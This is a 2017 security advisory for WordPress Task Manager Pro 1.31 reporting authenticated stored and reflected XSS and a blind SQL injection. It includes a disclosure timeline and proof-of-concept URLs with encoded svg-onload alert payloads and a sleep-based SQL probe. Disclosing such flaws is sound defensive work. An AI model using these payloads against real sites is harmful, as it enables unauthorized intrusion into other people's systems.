WordPress Task Manager Pro 1.31 Cross Site Scripting

WordPress Task Manager Pro version 1.31 suffers from multiple cross site scripting vulnerabilities.


MD5 | 277685ee784f659f986136cf25ef9665

# Exploit Title: WordPress Task Manager Pro 1.31 - Multiple vulnerabilities
# Date: 2017-07-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.w3bd.com/
# Software Link: http://codecanyon.net/item/task-manager-pro-all-in-one-project-based-task-management-plugin-for-wordrpress/19864872
# Version: 1.31
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.5]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-07-11

Product & Service Introduction:
===============================
Task Manager Pro is a full and functional task management plugin for wordpress.

Vulnerability Disclosure Timeline:
==================================
2017-07-10: Found the vulnerabilities.
2017-07-10: Reported to vendor.
2017-07-11: No response.
2017-07-11: Published.

Technical Details & Description:
================================

Multiple authenticated XSS vulnerabilities found logged as a low privileged user.

Blind SQL Injection on task-details page task parameter.

Proof of Concept (PoC):
=======================

Authenticated Stored XSS:

Logged as a follower, the lowest privileged user.
Write the payload in the 'Add a comment' section

Authenticated Reflected XSS

On task-edit, task-details, project-details pages:

https://localhost/wp-admin/admin.php?page=task-edit&task=8%2F%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
https://localhost/wp-admin/admin.php?page=task-details&task=6%22%2F%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
https://localhost/wp-admin/admin.php?page=project-details&project=%22%2F%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

Authenticated Stored XSS

Logged as a user with edit privileges:
Edit Task Section. Task Name & Time Estimation fields are vulnerable.

Blind SQL Injection

Logged as a follower:
# 6 and sleep(1) and 1=1
https://localhost/wp/wp-admin/admin.php?page=task-details&task=6+and+sleep(1)+and+1%3D1

Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]

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